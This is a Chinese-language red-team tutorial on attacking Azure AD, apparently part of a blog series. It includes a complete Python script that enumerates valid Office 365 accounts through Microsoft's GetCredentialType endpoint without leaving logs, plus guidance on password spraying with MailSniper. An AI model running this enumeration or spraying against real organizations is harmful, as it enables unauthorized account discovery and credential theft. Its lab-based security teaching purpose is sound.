Azure AD Pentesting -- Part II
在上一篇文章中,我们简单介绍了azure ad的基本概念,术语和实现集成身份认证功能的三种方式,PHS,PTA,ADFS的原理和潜在安全风险。
在这部分中,我们将针对搭建的实验环境进行攻击演示。
0x00 实验环境
这里使用了Microsoft Customer Digital Experiences提供的实验环境,并且提供了Azure AD的高级license。
Azure AD 提供了一些基本的安全功能。例如,同一账号连续登录失败10次后会被锁定60秒,除此之外,用户还可以购买其他的高级安全功能。
Conditional Acces(条件访问)
简单来说,条件访问策略是在访问资源时执行的一系列if-then语句,即当用户需要访问某资源时,则必须满足某一条件,如地理位置,设备编号,ip地址等,这些传递的条件被称为Signal(信号)。
下图中列出了可用作信号的限制和常用的策略
经过测试,这些策略并不能通过Azure PowerShell模块查询,但是可以通过Microsoft Graph API获取并解析它们。
Identity Protection (标识保护)
Azure AD 为 P2 license 用户提供了更高级的补充保护措施,即Identity Protection。
微软通过检测用户在Azure AD中使用的数据探测风险行为,并对这些风险用户采取不同的条件访问策略,例如,用户使用了已被攻击的数据库中存在的密码,就可能会被检测为风险用户。
详细介绍可查看
https://docs.microsoft.com/zh-cn/azure/active-directory/identity-protection/howto-identity-protection-configure-risk-policies
Other
除此之外,Azure AD 还提供了一系列的安全设置,如归属于Administration Group的用户每次登录时都会被要求额外的身份认证措施,以及同时部署在Azure AD和DC上用于管理密码策略的Agent。
0x01 未授权状态下的信息收集
通过上面的介绍,我们了解到Azure AD提供了许多严格且有效的安全策略,这部分我们将从红队角度,研究在针对Azure AD进行攻击时,可行的一些方式。
首先,我们可以通过微软提供的Api获取到目标组织的Tenant id,如:
https://login.windows.net/avepoint.com/.well-known/openid-configuration
而对于未接入Azure AD的域,则会显示
确定了攻击目标,我们就可以在目标tenant内搜寻有效账户,这一步需要为目标创建一个可能有效的email地址字典,生成字典有许多方式,此处不再赘述。
之后,我们可以通过微软的公开api
https://login.microsoftonline.com/common/GetCredentialTyp
对其中的email地址进行验证
import requests as req
import argparse
import re
import time
parser = argparse.ArgumentParser(description='Enumerates valid email addresses from Office 365 without submitting login attempts.')
parser.add_argument('-e', '--email', help='Single email address to validate.')
parser.add_argument('-f', '--file', help='List of email addresses to validate, one per line.')
parser.add_argument('-o', '--output', help='Output valid email addresses to the specified file.')
args = parser.parse_args()
url = 'https://login.microsoftonline.com/common/GetCredentialType'
def main():
if args.file is not None:
with open(args.file) as file:
for line in file:
s = req.session()
line = line.split()
email = ' '.join(line)
body = '{"Username":"%s"}' % email
request = req.post(url, data=body)
response = request.text
valid = re.search('"IfExistsResult":0,', response)
invalid = re.search('"IfExistsResult":1,', response)
if invalid:
print ('%s - INVALID' % email)
if valid and args.output is not None:
print ('%s - VALID' % email)
with open(args.output, 'a+') as output_file:
output_file.write(email+'\n')
else:
if valid:
print ('%s - VALID' % email)
elif args.email is not None:
email = args.email
body = '{"Username":"%s"}' % email
request = req.post(url, data=body)
response = request.text
valid = re.search('"IfExistsResult":0', response)
invalid = re.search('"IfExistsResult":1', response)
if invalid:
print ('%s - INVALID' % email)
if valid and args.output is not None:
print ('%s - VALID' % email)
with open(args.output, 'w') as output_file:
output_file.write(email+'\n')
else:
if valid:
print ('%s - VALID' % email)
if __name__ == "__main__":
main()
通过这种方式进行检索用户email快速准确,更重要的是不会再Azure AD中留下任何痕迹。
0x02 密码喷射攻击
通过上一节中的用户email检索,我们已经获取到了一份UPN列表,接下来的目标是获取至少一个用户的登陆凭据。与通常情况下使用的单用户多密码暴力破解的模式不同,喷射攻击更加适用于多用户情况下的密码破解,因为整个tenant内全部用户都不使用简单密码的概率相当低,此外,用户量越大说明通过已泄露数据库撞库攻击的成功率越高。
这里使用一个tool对上述email进行破解
https://github.com/dafthack/MailSniper
这种攻击方式的缺陷是可被Conditional Access功能防护,并且会在Sign-in logs 中留下日志。
0x03 总结
上一节中,我们成功通过密码喷射攻击获取到了Azure AD内普通用户的账号,在下一篇文章里,我们会尝试使用获取到的用户通过Microsoft Graph API对Azure AD tenant 内部进行信息收集,包括成员信息,安全策略等。